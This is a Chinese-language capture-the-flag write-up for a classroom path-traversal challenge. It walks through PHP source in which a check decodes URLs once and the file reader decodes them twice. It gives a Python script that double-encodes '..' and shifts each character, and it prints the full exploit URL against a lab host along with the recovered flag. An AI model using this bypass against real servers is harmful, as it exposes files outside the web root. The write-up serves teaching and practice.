gogogo路径穿越

课堂测试题

解题过程

使用Gemini辅助分析和写脚本

源码分析

从dockerfile可以判断flag所在路径。所以我们的目标是/flag

1
COPY ./files/flag /flag

login.php有个简单的密码逻辑$password == md5($auth_code.$username),可以构造账号密码绕过

1
2
3
4
if($username && $password){
if($password == md5($auth_code.$username)){
$_SESSION['login'] = true;
header("Location:index.php");

skin.php负责读取并输出主题文件内容。核心逻辑是先解码,然后判断路径是否合法,通过后实际读取

1
2
3
4
5
6
$themeRef = decode_theme_ticket($theme);
if (!is_theme_reference_allowed($themeRef)) {
exit();
}

$themePath = dirname(__FILE__) . '/' . runtime_theme_asset($themeRef);

decode_theme_ticket会对每个字符减一

1
2
3
4
5
6
7
function decode_theme_ticket($value) {
$decoded = '';
for ($i = 0; $i < strlen($value); $i++) {
$decoded = $decoded . chr(ord($value[$i]) - 1);
}
return $decoded;
}

is_theme_reference_allowed函数校验preview_theme_asset得到的文件路径是否合法,包含路径是否以assets/css/开头和是否包含 ..\两种检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function is_theme_reference_allowed($ref) {
$preview = preview_theme_asset($ref);

if (!starts_with_theme_dir($preview, 'assets/css/')) {
return false;
}

if (has_parent_marker($preview)) {
return false;
}

return true;
}

function starts_with_theme_dir($value, $prefix) {
return strpos($value, $prefix) === 0;
}

function has_parent_marker($value) {
$segments = explode('/', $value);

foreach ($segments as $segment) {
if ($segment === '..') {
return true;
}
if (strpos($segment, '\\') !== false) {
return true;
}
}

return false;
}

preview_theme_asset是只包含一次rawurldecode的,但是runtime_theme_asset实际读取时包含两次rawurldecode,这样就有可能利用两次的解码不一致绕过检查

rawurldecode 是 PHP 中用于对 URL 编码字符串进行解码的函数。它将字符串中的 %xx(十六进制序列)转换回原字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function preview_theme_asset($ref) {
$ref = str_replace('\\', '/', $ref);
$ref = rawurldecode($ref);
$ref = str_replace(';', '', $ref);
$ref = compact_theme_asset($ref);

return $ref;
}

function runtime_theme_asset($ref) {
$ref = str_replace('\\', '/', $ref);
$ref = rawurldecode($ref);
$ref = rawurldecode($ref);
$ref = str_replace(';', '', $ref);
$ref = compact_theme_asset($ref);

return $ref;
}

解题思路

我们可以构造一个路径穿越,目标是/flag,起点需要符合assets/css/检查

skin.php源路径是/files/html,结合dockerfile中的

1
COPY ./files/html/ /var/www/html/

可以判断目标路径是/var/www/html/,所以起点的完整路径是/var/www/html/assets/css/,从这个路径到/flag需要穿五层,所以构造的目标路径应该是:

1
assets/css/../../../../../flag

然后对其中的..进行两次编码,就能绕过has_parent_marker的检查。最后逆向decode_theme_ticket,需要给每个字符加一

另外编码后的url包含特殊字符,所以还要进行一次url编码(或者用curl)

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
import urllib.parse

target_path = "assets/css/../../../../../flag"

encoded_path = target_path.replace("..", "%252e%252e")

final_path = ""
for char in encoded_path:
final_path += chr(ord(char) + 1)

print(urllib.parse.quote(final_path))

运行得到

1
bttfut0dtt0%26363f%26363f0%26363f%26363f0%26363f%26363f0%26363f%26363f0%26363f%26363f0gmbh

作为skin.php的参数提交:

1
http://124.16.75.116:52001/skin.php?theme=bttfut0dtt0%26363f%26363f0%26363f%26363f0%26363f%26363f0%26363f%26363f0%26363f%26363f0gmbh

得到flag

image-20260409114807801

1
flag{path_traversal_1s_s0_d4ng3r0us} 

技术点总结

  1. 路径遍历:路径遍历是一种利用 Web 应用对文件路径过滤不严的漏洞,通过输入特殊的路径序列(如 ../)来访问 Web 根目录之外的文件。其技术原理是操作系统识别路径中的 .. 为“返回上级目录”。如果程序在拼接文件路径时未能进行有效的检查和过滤,攻击者就能通过路径遍历访问设定的权限外的内容。

  2. URL 二次编码绕过:URL 编码通过 % 加十六进制数来表示特殊字符。二次编码是指将 % 字符本身再次进行编码(例如 . 变为 %2e,再变为 %252e)。如果程序在校验和实际使用时对url编码的处理不一致,就可能通过二次编码绕过校验。